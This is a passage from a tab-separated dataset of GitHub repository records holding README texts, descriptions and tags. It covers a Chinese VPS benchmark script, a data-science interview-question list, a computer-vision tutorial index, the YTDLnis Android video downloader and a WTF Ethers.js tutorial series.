除了已标注的原创内容，其余所有分区均为借鉴并进行优化修改后的版本，与原始对应的脚本不一样所有检测都有考虑过使用并行测试，并在部分环节使用了该技术，比正常的顺序执行优化了2~3分钟，属于是独有的，暂无哪家的测试有同类技术系统基础信息测试融合了多家还有我自己修补的部分检测(systl、NAT类型检测，并发ASN检测等)，应该是目前最全面最通用的了 CPU测试默认使用sysbench测试得分，不是yabs的gb4或gb5(虽然默认不是geekbench但可以通过指令指定geekbench常见版本进行测试)，前者只是简单的计算质数测试速度快，后者geekbench是综合测试系统算加权得分使用sysbench测试得分是每秒处理的事件数目，这个指标无论在强还是弱性能的服务器上都能迅速测出来，而geekbench很多是测不动或者速度很慢起码2分半钟 CPU测试单核sysbench得分在5000以上的可以算第一梯队，4000到5000分算第二梯队，每1000分算一档，自己看看自己在哪个档位吧 AMD的7950x单核满血性能得分在6500左右，AMD的5950x单核满血性能得分5700左右，Intel普通的CPU(E5之类的)在1000~800左右，低于500的单核CPU可以说是性能比较烂的了 IO测试收录了两种，来源于lemonbench的dd磁盘测试和yabs的fio磁盘测试，综合来看会比较好，前者可能误差偏大但测试速度快无硬盘大小限制，后者真实一点但测试速度慢有硬盘以及内存大小限制流媒体测试收录了两种，一个是go编译的二进制文件和一个shell脚本版本，二者各有优劣，互相对比看即可 tiktok测试有superbench和lmc999两种版本，哪个失效了随时可能更新为其中一种版本，以最新的脚本为准回程路由测试选用的GO编译的二进制版本和朋友PR的版本，本人做了优化适配多个IP列表以及融合部分查询 IP质量检测纯原创，如有bug或者更多数据库来源可在issues中提出，日常看IP2Location数据库的IP类型即可，其中的25端口邮箱可达，则可搭建邮局融合怪的IP质量检测是简化过的，没有查询Cloudflare的威胁得分，个人原创区的IP质量检测才是完整版(或者仓库说明中列出的那个IP质量检测的命令也是完整版) 三网测速使用自写的测速脚本，尽量使用最新节点最新组件进行测速，且有备用第三方go版本测速内核，做到自更新测速节点列表，自适应系统环境测速其他第三方脚本归纳到了第三方脚本区，里面有同类型脚本不同作者的各种竞品脚本，如果融合怪不能使你满意或者有错误，可以看看那部分原创脚本区是个人原创的部分，有事没事也可以看看，可能会更新某些偏门或者独到的脚本 VPS测试，VPS测速，VPS综合性能测试，VPS回程线路测试，VPS流媒体测试等所有测试融合的脚本，本脚本能融合的都融合了 </details> [返回顶部](https://github.com/spiritLHLS/ecs#top) ## 融合怪功能 - [x] 自由组合测试方向和单项测试以及合集收录第三方脚本，融合怪各项测试均自优化修复过，与原始脚本均不同 - [x] 基础信息查询--感谢[bench.sh](https://github.com/teddysun/across/blob/master/bench.sh)、[superbench.sh](https://www.oldking.net/350.html)、[yabs](https://github.com/masonr/yet-another-bench-script)、[lemonbench](https://github.com/LemonBench/LemonBench)开源，本人整理修改优化，同原版均不一致 - [x] CPU测试--感谢[lemonbench](https://github.com/LemonBench/LemonBench)和[yabs](https://github.com/masonr/yet-another-bench-script)开源，本人整理修改优化 - [x] 内存测试--感谢[lemonbench](https://github.com/LemonBench/LemonBench)开源，本人整理修改优化 - [x] 磁盘dd读写测试--感谢[lemonbench](https://github.com/LemonBench/LemonBench)开源，本人整理修改优化 - [x] 硬盘fio读写测试--感谢[yabs](https://github.com/masonr/yet-another-bench-script)开源，本人整理修改优化 - [x] 御三家流媒体解锁测试--感谢[netflix-verify](https://github.com/sjlleo/netflix-verify)、[VerifyDisneyPlus](https://github.com/sjlleo/VerifyDisneyPlus)、[TubeCheck](https://github.com/sjlleo/TubeCheck)开源，本人整理修改维护[CommonMediaTests](https://github.com/oneclickvirt/CommonMediaTests)使用 - [x] 常用流媒体解锁测试--感谢[RegionRestrictionCheck](https://github.com/lmc999/RegionRestrictionCheck)开源，本人整理修改优化 - [x] Tiktok解锁--感谢[TikTokCheck](https://github.com/lmc999/TikTokCheck)开源，本人整理修改优化 - [x] 三网回程以及路由延迟--感谢[zhanghanyun/backtrace](https://github.com/zhanghanyun/backtrace)开源，本人整理修改维护[oneclickvirt/backtrace](https://github.com/oneclickvirt/backtrace)使用 - [x] 回程路由及带宽类型检测(商宽/家宽/数据中心)--由[fscarmen](https://github.com/fscarmen)的PR以及本人的技术思路提供，本人修改优化维护 - [x] IP质量(含IPV4和IPV6)与邮件端口检测--使用[oneclickvirt/securityCheck](https://github.com/oneclickvirt/securityCheck)和[oneclickvirt/portchecker](https://github.com/oneclickvirt/portchecker)进行测试，感谢互联网提供的查询资源 - [x] speedtest测速--使用自写[ecsspeed](https://github.com/spiritLHLS/ecsspeed)仓库，自动更新测速服务器ID，一劳永逸解决老是要手动更新测速ID的问题 # 友链 ## 测评频道 ### https://t.me/vps_reviews ## 自动更新测速服务器节点列表的网络基准测试脚本 ### https://github.com/spiritLHLS/ecsspeed [返回顶部](https://github.com/spiritLHLS/ecs#top) # 脚本概况主界面： ![图片](https://github.com/spiritLHLS/ecs/assets/103393591/051f1a83-ecd6-4713-af2f-c8b494e33c7f) 选项1融合怪完全体(实际有高亮颜色显示，截图问题暂无显示，以实际运行结果为准)： ![图片](https://github.com/spiritLHLS/ecs/assets/103393591/6dfab873-39fd-44ac-90e0-d3b82720fc04) ![图片](https://github.com/spiritLHLS/ecs/assets/103393591/62b2d8e1-497d-4329-aa00-cd56f732f28a) ![图片](https://github.com/spiritLHLS/ecs/assets/103393591/77b79eb9-1b2a-448b-bf83-0ecec8529515) ![图片](https://github.com/spiritLHLS/ecs/assets/103393591/350c7323-39a5-4caf-8bf2-c3fde045fa64) ![图片](https://github.com/spiritLHLS/ecs/assets/103393591/5cbaf73c-308e-4147-9a8c-638cfede3440) ![图片](https://github.com/spiritLHLS/ecs/assets/103393591/903c0b19-b93c-4739-80f6-944992cb0640) ![图片](https://github.com/spiritLHLS/ecs/assets/103393591/58bc4f72-415b-4b47-a98d-4329ab31fd3e) 选项6原创区： ![图片](https://github.com/spiritLHLS/ecs/assets/103393591/393db695-5c94-41a9-9b02-812ad9d64967) [返回顶部](https://github.com/spiritLHLS/ecs#top) # Stargazers over time [![Stargazers over time](https://starchart.cc/spiritLHLS/ecs.svg)](https://starchart.cc/spiritLHLS/ecs) # 致谢感谢 [ipinfo.io](https://ipinfo.io) [ip.sb](https://ip.sb) [cheervision.co](https://cheervision.co) [ipip.net](https://en.ipip.net) [cip.cc](http://www.cip.cc) [scamalytics.com](https://scamalytics.com) [abuseipdb.com](https://www.abuseipdb.com/) [virustotal.com](https://www.virustotal.com/) [ip2location.com](ip2location.com/) [ip-api.com](https://ip-api.com) [ipregistry.co](https://ipregistry.co/) [ipdata.co](https://ipdata.co/) [ipgeolocation.io](https://ipgeolocation.io) [ipwhois.io](https://ipwhois.io) [ipapi.com](https://ipapi.com/) [ipapi.is](https://ipapi.is/) [abstractapi.com](https://abstractapi.com/) [ipqualityscore.com](https://www.ipqualityscore.com/) 等网站提供的API进行检测，感谢互联网各网站提供的查询资源感谢所有开源项目提供的原始测试脚本感谢 <a href="https://h501.io/?from=69" target="_blank"> <img src="https://github.com/spiritLHLS/ecs/assets/103393591/dfd47230-2747-4112-be69-b5636b34f07f" alt="h501"> </a> 提供的免费托管支持本开源项目同时感谢以下平台提供编辑和测试支持 ![PyCharm logo](https://resources.jetbrains.com/storage/products/company/brand/logos/PyCharm.png) [返回顶部](https://github.com/spiritLHLS/ecs#top)	VPS融合怪服务器测评脚本(VPS Fusion Monster Server Test Script)(尽量做最全能测试服务器的脚本)	vps,centos,debian,ubuntu,fedora,almalinux,sysbench,bench-script,benchmark,cdn	0	4	26	1,190	0	1	0
youssefHosni/Data-Science-Interview-Questions-Answers	# Data-Science-Interview-Questions-Answers A Curated list of data science interview questions and answers [![GitHub license](https://img.shields.io/github/license/youssefHosni/Data-Science-Interview-Questions-Answers.svg)](https://github.com/youssefHosni/Data-Science-Interview-Questions-Answers/blob/master/LICENSE) [![GitHub contributors](https://img.shields.io/github/contributors/youssefHosni/Data-Science-Interview-Questions-Answers.svg)](https://GitHub.com/youssefHosni/Data-Science-Interview-Questions-Answers/graphs/contributors/) [![GitHub issues](https://img.shields.io/github/issues/youssefHosni/Data-Science-Interview-Questions-Answers.svg)](https://GitHub.com/youssefHosni/Data-Science-Interview-Questions-Answers/issues/) [![GitHub pull-requests](https://img.shields.io/github/issues-pr/youssefHosni/Data-Science-Interview-Questions-Answers.svg)](https://GitHub.com/youssefHosni/Data-Science-Interview-Questions-Answers/pulls/) [![PRs Welcome](https://img.shields.io/badge/PRs-welcome-brightgreen.svg?style=flat-square)](http://makeapullrequest.com) [![GitHub watchers](https://img.shields.io/github/watchers/youssefHosni/Data-Science-Interview-Questions-Answers.svg?style=social&label=Watch)](https://GitHub.com/youssefHosni/Data-Science-Interview-Questions-Answers/watchers/) [![GitHub forks](https://img.shields.io/github/forks/youssefHosni/Data-Science-Interview-Questions-Answers.svg?style=social&label=Fork)](https://GitHub.com/youssefHosni/Data-Science-Interview-Questions-Answers/network/) [![GitHub stars](https://img.shields.io/github/stars/youssefHosni/Data-Science-Interview-Questions-Answers.svg?style=social&label=Star)](https://GitHub.com/youssefHosni/Data-Science-Interview-Questions-Answers/stargazers/) I started an initiative on LinkedIn in which I post daily data science interview questions. For better access, the questions and answers will be updated in this repo. The questions can be divided into six categories: machine learning questions, deep learning questions, statistics questions, probability questions, python questions, and resume-based questions. If you would like to participate in this questions and answers follow me on [LinkedIn](https://www.linkedin.com/in/youssef-hosni-b2960b135/) I started an intuitive on LinkedIn in May 2022 in which I post daily data science interview questions and the answers I got on each post I summarize them and post on the next day in another post. The questions are prepared by me, in addition to others that I received from my connections on LinkedIn. You are more than welcome to send me questions on my [LinkedIn](https://www.linkedin.com/in/youssef-hosni-b2960b135/) profile or email me & at Youssef.Hosni95@outlook.com. The main goal of this intuitive is to revise the basics of data science, be prepared for your next interview, and know the expected questions in a data science interview. For better access, the questions and answers are gathered here in this GitHub repository and in these [medium articles](https://youssefraafat57.medium.com/list/data-science-interview-questions-6789a80bdb14). They will be updated with new questions daily. The questions are divided into seven categories: * [Machine Learning Interview Questions & Answers for Data Scientists](https://github.com/youssefHosni/Data-Science-Interview-Questions-Answers/blob/main/Machine%20Learning%20Interview%20Questions%20%26%20Answers%20for%20Data%20Scientists.md) * [Deep Learning Interview Questions & Answers for Data Scientists](https://github.com/youssefHosni/Data-Science-Interview-Questions-Answers/blob/main/Deep%20Learning%20Questions%20&%20Answers%20for%20Data%20Scientists.md) * [Top LLM Interview Questions & Answers for Data Scientists](https://levelup.gitconnected.com/top-large-language-models-llms-interview-questions-answers-d7b83f94c4e?sk=ba9875db71eb42aa0c5fa717f2dd7bd0) * [Top Computer Vision Interview Questions & Answers for Data Scientists Part 1](https://levelup.gitconnected.com/top-computer-vision-interview-questions-answers-part-1-7eddf45cfdf7?sk=f0b106cf3aab70fa27f07c61d5bc3965) * [Top Computer Vision Interview Questions & Answers for Data Scientists Part 2](https://levelup.gitconnected.com/top-computer-vision-interview-questions-answers-part-2-107244fc4289?sk=661863bf1a32af631451c9b43bce8868) * [Top Computer Vision Interview Questions & Answers for Data Scientists Part 3](https://levelup.gitconnected.com/top-computer-vision-interview-questions-answers-part-3-1e43909131b2?sk=9a10e41649c4c6a2088903e4d2db2a72) * [Statistics Interview Questions & Answers for Data Scientists](https://github.com/youssefHosni/Data-Science-Interview-Questions-Answers/blob/main/Statistics%20Interview%20Questions%20%26%20Answers%20for%20Data%20Scientists.md) * [Probability Interview Questions & Answers for Data Scientists](https://github.com/youssefHosni/Data-Science-Interview-Questions-Answers/blob/main/Probability%20Interview%20Questions%20%26%20Answers%20for%20Data%20Scientists.md) * [Python Interview Questions & Answers for Data Scientists](https://github.com/youssefHosni/Data-Science-Interview-Questions-Answers/blob/main/Python%20Interview%20Questions%20%26%20Answers%20for%20Data%20Scientists.md) * [SQL & DB Interview Questions & Answers for Data Scientists](https://github.com/youssefHosni/Data-Science-Interview-Questions-Answers/blob/main/SQL%20%26%20DB%20Interview%20Questions%20%26%20Answers%20for%20Data%20Scientists.md) * [Resume Based Questions](https://github.com/youssefHosni/Data-Science-Interview-Questions/blob/main/Resume%20Based%20Questions.md)	Curated list of data science interview questions and answers	data-science,deep-learning,interview-questions,machine-learning,python	0	9	12	525	3	1	0
TommyZihao/Train_Custom_Dataset	# 子豪兄带你两天搞定AI毕业设计标注自己的数据集，训练、评估、测试、部署自己的人工智能算法作者：同济子豪兄 https://space.bilibili.com/1900783 代码测试[云GPU环境](https://featurize.cn?s=d7ce99f842414bfcaea5662a97581bd1)：GPU RTX 3060、CUDA v11.2 > 本教程的数据集、代码、视频，倾注了子豪兄大量时间和心血。如果知识付费，卖两三千并不为过，但本着开源分享精神，全部免费开源，但仅可用于教学、科研、科普等非盈利用途，并需在转载引用时注明出处。 ![计算机视觉解决的基本问题](https://zihao-download.obs.cn-east-3.myhuaweicloud.com/img_bed/20220803/cv_fund.png) [优雅地感谢子豪兄](https://github.com/TommyZihao/zihao_commercial) ## 图像分类 ### 构建自己的图像分类数据集收集图像、下载样例数据集，删除系统多余文件，划分训练集、测试集，统计图像尺寸、比例分布、拍照地点位置分布，统计各类别图像数量 https://www.bilibili.com/video/BV1Jd4y1T7rw ### 【Pytorch】ImageNet预训练图像分类模型预测使用Pytorch自带的预训练图像分类模型，分别对单张图像、视频、摄像头实时画面运行图像分类预测 https://www.bilibili.com/video/BV1qe4y1D7zD ### 【Pytorch】迁移学习Fine-tuning训练自己的图像分类模型 https://www.bilibili.com/video/BV1Ng411C7WY ### 【Pytorch】用训练得到的pytorch图像分类模型，识别图像、视频、摄像头画面 https://www.bilibili.com/video/BV12d4y1P7xz ### 测试集评估计算各类别分类评估指标，绘制混淆矩阵、PR曲线、ROC曲线。 https://www.bilibili.com/video/BV1bP411j7NK ### 测试集语义特征降维可视化抽取Pytorch训练得到的图像分类模型中间层的输出特征，作为输入图像的语义特征。计算测试集所有图像的语义特征，使用t-SNE和UMAP两种降维方法降维至二维和三维，可视化。 https://www.bilibili.com/video/BV1VB4y1z7xN ### 可解释性分析、显著性分析 CAM热力图系列算法：https://www.bilibili.com/video/BV1JG4y1s74x ### 答疑交流群 [子豪兄图像分类答疑交流群（有问必答）](https://zdb.h5.xeknow.com/s/3MPxbI) ## 单目标追踪（蜜蜂追踪） https://www.bilibili.com/video/BV1za411Y7Zm ## 视频人流量计数+足迹追踪 https://www.bilibili.com/video/BV1za411Y7Zm ## 大模型摘要生成 https://www.bilibili.com/video/BV1W44y1g7cB ## CycleGAN图像风格迁移 https://www.bilibili.com/video/BV1wv4y1T71F ## OCR文字识别 https://www.bilibili.com/video/BV1Ua411x7dB	标注自己的数据集，训练、评估、测试、部署自己的人工智能算法	null	0	3	1	418	22	1	0
deniscerri/ytdlnis	<h1 align="center"> <img src="fastlane/metadata/android/en-US/images/icon.png" width="25%" /> <br> YTDLnis </h1> <div align="center"> English   \|    <a href="https://github.com/deniscerri/ytdlnis/blob/main/README-sq.md">Shqip</a>   \|    <a href="https://github.com/deniscerri/ytdlnis/blob/main/README-az.md">Azərbaycanca</a>   \|    <a href="https://github.com/deniscerri/ytdlnis/blob/main/README-id.md">Indonesia</a>   \|    <a href="https://github.com/deniscerri/ytdlnis/blob/main/README-pt.md">Português</a>   \|    <a href="https://github.com/deniscerri/ytdlnis/blob/main/README-es.md">Español</a> </div> <h3 align="center"> YTDLnis is a free and open source video/audio downloader using yt-dlp for Android 6.0 and above. </h3> <h4 align="center"> [Created by Denis Çerri. Currently being maintained by zaednasr] </h4> <div align="center"> [![Github Download](https://custom-icon-badges.herokuapp.com/badge/Download-blue?style=for-the-badge&logo=download&logoColor=white)](https://github.com/deniscerri/ytdlnis/releases/latest) [![IzzyOnDroid Repo](https://custom-icon-badges.herokuapp.com/badge/IzzyOnDroid%20Repo-red?style=for-the-badge&logo=download&logoColor=white)](https://android.izzysoft.de/repo/apk/com.deniscerri.ytdl) [![UpToDown](https://custom-icon-badges.herokuapp.com/badge/UpToDown-green?style=for-the-badge&logo=download&logoColor=white)](https://ytdlnis.en.uptodown.com/android/download) ![CI](https://github.com/deniscerri/ytdlnis/actions/workflows/android.yml/badge.svg?branch=main&event=pull) [![preview release](https://img.shields.io/github/release/deniscerri/ytdlnis.svg?maxAge=3600&include_prereleases&label=preview)](https://github.com/deniscerri/ytdlnis/releases) [![downloads](https://img.shields.io/github/downloads/deniscerri/ytdlnis/total?style=flat-square)](https://github.com/deniscerri/ytdlnis/releases) [![Translation status](https://hosted.weblate.org/widgets/ytdlnis/-/svg-badge.svg)](https://hosted.weblate.org/engage/ytdlnis/?utm_source=widget) [![community](https://img.shields.io/badge/Discord-YTDLnis-blueviolet?style=flat-square&logo=discord)](https://discord.gg/WW3KYWxAPm) [![community](https://img.shields.io/badge/Telegram-YTDLnis-blue?style=flat-square&logo=telegram)](https://t.me/ytdlnis) [![community](https://img.shields.io/badge/Telegram-Updates-red?style=flat-square&logo=telegram)](https://t.me/ytdlnisupdates) ### The links above are the only trusted sources of YTDLnis. Everything else is not related to me. </div> ## 💡 Features: - download audio/video files from more than <a href="https://github.com/yt-dlp/yt-dlp/blob/master/supportedsites.md">1000 websites</a> - process playlists - edit every playlist item separately just like in a normal download item. - select a common format for all items and/or select multiple audio formats in case you are downloading them as a video - select a download path for all items - select a filename template for all items - batch update download type to audio/video/custom command in one click - queue downloads and schedule them by date and time - you can also schedule multiple items at the same time - download multiple items at the same time - use custom commands and templates or go full yt-dlp mode with a built in terminal - you can backup and restore templates, so you can share with your buddies - COOKIES support. Log in with your accounts and download private/unavailable videos, unlock premium formats etc. - cut videos based on timestamps and video chapters (This yt-dlp feature is experimental on the original project) - you can make unlimited cuts - remove sponsorblock elements from the item - embed them as a chapters in your video - embed subtitles/metadata/chapters etc - modify metadata such as title and author - split item into separate files depending on its chapters - select different download formats - bottom card right from the share menu, no need to open the app - you can create a txt file and fill it with links/playlists/search queries separate by a new line and the app will process them - search or insert a link from the app - you can stack searches so you can process them at the same time - log downloads in case of problems - re-download cancelled or failed downloads - you can use gestures to swipe left to redownload and right to delete - you can long click the redownload button in the details sheet to show the download card for more functionality - incognito mode when you don't want to save a download history or logs - quick download mode - download immediately without having to wait for data to process. Turn off the bottom card and it will instantly start - open / share downloaded files right from the finished notification - most yt-dlp features are implemented, suggestions are welcome - Material You interface - Theming options - Backup and restore features. (Almost everything can be backed up) - MVVM Architecture w/ WorkManager ## 📲 Screenshots <div> <img src="fastlane/metadata/android/en-US/images/phoneScreenshots/01.png" width="30%" /> <img src="fastlane/metadata/android/en-US/images/phoneScreenshots/02.png" width="30%" /> <img src="fastlane/metadata/android/en-US/images/phoneScreenshots/03.png" width="30%" /> <img src="fastlane/metadata/android/en-US/images/phoneScreenshots/04.png" width="30%" /> <img src="fastlane/metadata/android/en-US/images/phoneScreenshots/05.png" width="30%" /> <img src="fastlane/metadata/android/en-US/images/phoneScreenshots/06.png" width="30%" /> <img src="fastlane/metadata/android/en-US/images/phoneScreenshots/07.png" width="30%" /> <img src="fastlane/metadata/android/en-US/images/phoneScreenshots/08.png" width="30%" /> <img src="fastlane/metadata/android/en-US/images/phoneScreenshots/09.png" width="30%" /> <img src="fastlane/metadata/android/en-US/images/phoneScreenshots/10.png" width="30%" /> <img src="fastlane/metadata/android/en-US/images/phoneScreenshots/11.png" width="30%" /> <img src="fastlane/metadata/android/en-US/images/phoneScreenshots/12.png" width="30%" /> <img src="fastlane/metadata/android/en-US/images/phoneScreenshots/13.png" width="90%" /> </div> ## 💬 Contact Join our [Telegram Channel](https://t.me/ytdlnis) or [Discord](https://discord.gg/WW3KYWxAPm) for discussion, announcements, and releases! ## 🔑 Connect with ReVanced and LibreTube The App's package name is "com.deniscerri.ytdl" ## 📝 Help Translate on Weblate <a href="https://hosted.weblate.org/engage/ytdlnis/"> <img src="https://hosted.weblate.org/widgets/ytdlnis/-/strings/open-graph.png" alt="Translation status" /> </a> <a href="https://hosted.weblate.org/engage/ytdlnis/"> <img src="https://hosted.weblate.org/widgets/ytdlnis/-/multi-auto.svg" alt="Translation status" /> </a> ## ✔️🤖 Connect with Tasker / Macrodroid etc You can use intents on apps like tasker or macrodroid to push commands to the app to run a download without user interaction Accepted variables: <b>TYPE</b> -> it can be: audio,video,command <br/> <b>BACKGROUND</b> -> it can be: true,false. If its true the app won't show the download card no matter what and run the download in the background <br/> <b>COMMAND</b> -> if your preferred type is audio/video or you set the TYPE variable as one of them, this will be appended to your Extra Commands string. If the type is command, the whole command you wrote here will be used for the download <br/> ### Tasker Example of downloading an audio in the background 1. Create Send Intent task 2. Action: android.intent.action.SEND 3. Cat: Default 4. Mime Type: text/* 5. Extra: android.intent.extra.TEXT:url (instead of url write the url of the video you want to download) 6. Extra: TYPE:audio 7. Extra: BACKGROUND:true ## 😇 Contributing If you would like to contribute. Please read the [Contributing](CONTRIBUTING.MD) section. ## 📄 License [GNU GPL v3.0](https://github.com/deniscerri/ytdlnis/blob/main/LICENSE) ⚠️ Warning <br> Except for the source code licensed under the GPLv3 license, all other parties are prohibited from using the 'YTDLnis' name as a downloader app, and the same is true for its derivatives. Derivatives include but are not limited to forks and unofficial builds. ## 🙏 Thanks - [yt-dlp](https://github.com/yt-dlp/yt-dlp) and its contributors for making this tool possible. Without it this app wouldn't exist. - [youtubedl-android](https://github.com/yausername/youtubedl-android) for porting yt-dlp to android - [dvd](https://github.com/yausername/dvd) for showing how to implement youtubedl-android - [seal](https://github.com/JunkFood02/Seal) for certain design elements and features i wanted to use aswell in this app when i started developing - [decipher3114](https://github.com/decipher3114) for the app icon and alot of other internet forum strangers.	Android Video/Audio Downloader app using yt-dlp	android,downloader,youtube,yt-dlp,audio,video,mp3,material-design,kotlin,youtube-dl	45	112	232	1,878	17	2	2
WTFAcademy/WTF-Ethers	![](./img/logo_ethers.jpeg) :globe_with_meridians: [English Version](https://github.com/WTFAcademy/WTF-Ethers/blob/main/en/README.md) :globe_with_meridians: # WTF Ethers 我们最近在重新学ethers.js，巩固一下细节，也写一个“WTF Ethers极简入门”，供小白们使用，每周更新1-3讲。这是[WTF Solidity极简教程](https://github.com/AmazingAng/WTFSolidity)姊妹篇，由[WTF Academy](https://wtf.academy)社群荣誉出品。 > 注意: 本教程的版本基于最新的 Ethers.js v6版本，之前 v5 版本的教程见 [链接](https://github.com/WTFAcademy/WTF-Ethers/tree/wtf-ethers-v5)。路线图根据本仓库star数量来定： - [x] 64 :star: 建立社群：[discord](https://discord.gg/5akcruXrsk) \| [微信群](https://docs.google.com/forms/d/e/1FAIpQLSe4KGT8Sh6sJ7hedQRuIYirOoZK_85miz3dw7vA1-YjodgJ-A/viewform) - [x] 128 :star: 出进阶内容 - [ ] 256 :star: 发课程认证 ### VScode运行需要安装[VSCode](https://code.visualstudio.com/download)和[Node.js](https://nodejs.org/zh-cn/download/)，然后运行： ```shell npm install node 01_HelloVitalik/HelloVitalik.js ``` ### 在线编辑器运行 `javascript`在线编辑平台： * [replit.com](https://replit.com/) * [playcode.io](https://playcode.io) ## 入门第1讲：HelloVitalik（6行代码）：【[Code](https://github.com/WTFAcademy/WTFEthers/blob/main/01_HelloVitalik)】【[教程](https://github.com/WTFAcademy/WTFEthers/blob/main/01_HelloVitalik/readme.md)】第2讲：Provider 提供器：【[Code](https://github.com/WTFAcademy/WTFEthers/blob/main/02_Provider)】【[教程](https://github.com/WTFAcademy/WTFEthers/blob/main/02_Provider/readme.md)】第3讲：读取合约信息：【[Code](https://github.com/WTFAcademy/WTFEthers/blob/main/03_ReadContract)】【[教程](https://github.com/WTFAcademy/WTFEthers/blob/main/03_ReadContract/readme.md)】第4讲：发送ETH：【[Code](https://github.com/WTFAcademy/WTFEthers/blob/main/04_SendETH)】【[教程](https://github.com/WTFAcademy/WTFEthers/blob/main/04_SendETH/readme.md)】第5讲：合约交互：【[Code](https://github.com/WTFAcademy/WTFEthers/blob/main/05_WriteContract)】【[教程](https://github.com/WTFAcademy/WTFEthers/blob/main/05_WriteContract/readme.md)】第6讲：部署合约：【[Code](https://github.com/WTFAcademy/WTFEthers/blob/main/06_DeployContract)】【[教程](https://github.com/WTFAcademy/WTFEthers/blob/main/06_DeployContract/readme.md)】第7讲：检索事件：【[Code](https://github.com/WTFAcademy/WTFEthers/blob/main/07_Event)】【[教程](https://github.com/WTFAcademy/WTFEthers/blob/main/07_Event/readme.md)】第8讲：合约监听：【[Code](https://github.com/WTFAcademy/WTFEthers/blob/main/08_ContractListener)】【[教程](https://github.com/WTFAcademy/WTFEthers/blob/main/08_ContractListener/readme.md)】第9讲：事件过滤：【[Code](https://github.com/WTFAcademy/WTFEthers/blob/main/09_EventFilter)】【[教程](https://github.com/WTFAcademy/WTFEthers/blob/main/09_EventFilter/readme.md)】第10讲：单位转换：【[Code](https://github.com/WTFAcademy/WTFEthers/blob/main/10_Units)】【[教程](https://github.com/WTFAcademy/WTFEthers/blob/main/10_Units/readme.md)】 ## 进阶第11讲：CallStatic：【[Code](https://github.com/WTFAcademy/WTFEthers/blob/main/11_StaticCall)】【[教程](https://github.com/WTFAcademy/WTFEthers/blob/main/11_StaticCall/readme.md)】第12讲：识别ERC721：【[Code](https://github.com/WTFAcademy/WTFEthers/blob/main/12_ERC721Check)】【[教程](https://github.com/WTFAcademy/WTFEthers/blob/main/12_ERC721Check/readme.md)】第13讲：编码calldata：【[Code](https://github.com/WTFAcademy/WTFEthers/blob/main/13_EncodeCalldata)】【[教程](https://github.com/WTFAcademy/WTFEthers/blob/main/13_EncodeCalldata/readme.md)】第14讲：批量生成钱包：【[Code](https://github.com/WTFAcademy/WTFEthers/blob/main/14_HDwallet)】【[教程](https://github.com/WTFAcademy/WTFEthers/blob/main/14_HDwallet/readme.md)】第15讲：批量转账：【[Code](https://github.com/WTFAcademy/WTFEthers/blob/main/15_MultiTransfer)】【[教程](https://github.com/WTFAcademy/WTFEthers/blob/main/15_MultiTransfer/readme.md)】第16讲：批量归集：【[Code](https://github.com/WTFAcademy/WTFEthers/blob/main/16_MultiCollect)】【[教程](https://github.com/WTFAcademy/WTFEthers/blob/main/16_MultiCollect/readme.md)】第17讲：MerkleTree脚本：【[Code](https://github.com/WTFAcademy/WTFEthers/blob/main/17_MerkleTree)】【[教程](https://github.com/WTFAcademy/WTFEthers/blob/main/17_MerkleTree/readme.md)】第18讲：数字签名脚本：【[Code](https://github.com/WTFAcademy/WTFEthers/blob/main/18_Signature)】【[教程](https://github.com/WTFAcademy/WTFEthers/blob/main/18_Signature/readme.md)】第19讲：监听Mempool：【[Code](https://github.com/WTFAcademy/WTFEthers/blob/main/19_Mempool)】【[教程](https://github.com/WTFAcademy/WTFEthers/blob/main/19_Mempool/readme.md)】第20讲：解码交易数据：【[Code](https://github.com/WTFAcademy/WTFEthers/blob/main/20_DecodeTx)】【[教程](https://github.com/WTFAcademy/WTFEthers/blob/main/20_DecodeTx/readme.md)】 ## 应用第21讲：靓号生成器：【[Code](https://github.com/WTFAcademy/WTFEthers/blob/main/21_VanityAddress)】【[教程](https://github.com/WTFAcademy/WTFEthers/blob/main/21_VanityAddress/readme.md)】第22讲：读取任意数据：【[Code](https://github.com/WTFAcademy/WTFEthers/blob/main/22_ReadAnyData)】【[教程](https://github.com/WTFAcademy/WTFEthers/blob/main/22_ReadAnyData/readme.md)】第23讲：抢先交易脚本：【[Code](https://github.com/WTFAcademy/WTFEthers/blob/main/23_Frontrun)】【[教程](https://github.com/WTFAcademy/WTFEthers/blob/main/23_Frontrun/readme.md)】第24讲：识别ERC20：【[Code](https://github.com/WTFAcademy/WTFEthers/blob/main/24_ERC20Check)】【[教程](https://github.com/WTFAcademy/WTFEthers/blob/main/24_ERC20Check/readme.md)】第25讲：Flashbots：【[Code](https://github.com/WTFAcademy/WTFEthers/blob/main/25_Flashbots)】【[教程](https://github.com/WTFAcademy/WTFEthers/blob/main/25_Flashbots/readme.md)】第26讲：EIP712 签名脚本：【[Code](https://github.com/WTFAcademy/WTFEthers/blob/main/26_EIP712)】【[教程](https://github.com/WTFAcademy/WTFEthers/blob/main/26_EIP712/readme.md)】 ## 工具 ET01：连接钱包：【[Code](https://github.com/WTFAcademy/WTFEthers/blob/main/ET01_Metamask)】【[教程](https://github.com/WTFAcademy/WTFEthers/blob/main/ET01_Metamask/readme.md)】 ET02：钱包签名登录：【[Code](https://github.com/WTFAcademy/WTFEthers/blob/main/ET02_SignInWithEthereum)】【[教程](https://github.com/WTFAcademy/WTFEthers/blob/main/ET02_SignInWithEthereum/readme.md)】 ## WTF Ethers贡献者 <div align="center"> <h4 align="center"> 贡献者是WTF学院的基石 </h4> <a href="https://github.com/WTFAcademy/WTF-Ethers/graphs/contributors"> <img src="https://contrib.rocks/image?repo=WTFAcademy/WTF-Ethers" /> </a> </div> ## 参考 - [Ethers.js Docs](https://docs.ethers.org/v5/) - [A beginner’s guide: 4 ways to play with Ethers.js](https://dev.to/yakult/a-beginers-guide-four-ways-to-play-with-ethersjs-354a)	我最近在重新学ethers.js，巩固一下细节，也写一个“WTF Ethers.js极简入门”，供小白们使用，每周更新1-3讲。Now supports English! 官网: https://wtf.academy	ethereum,ethers,ethersjs,javascript,solidity,typescript,web3,nodejs	0	50	118	604	11	2	0
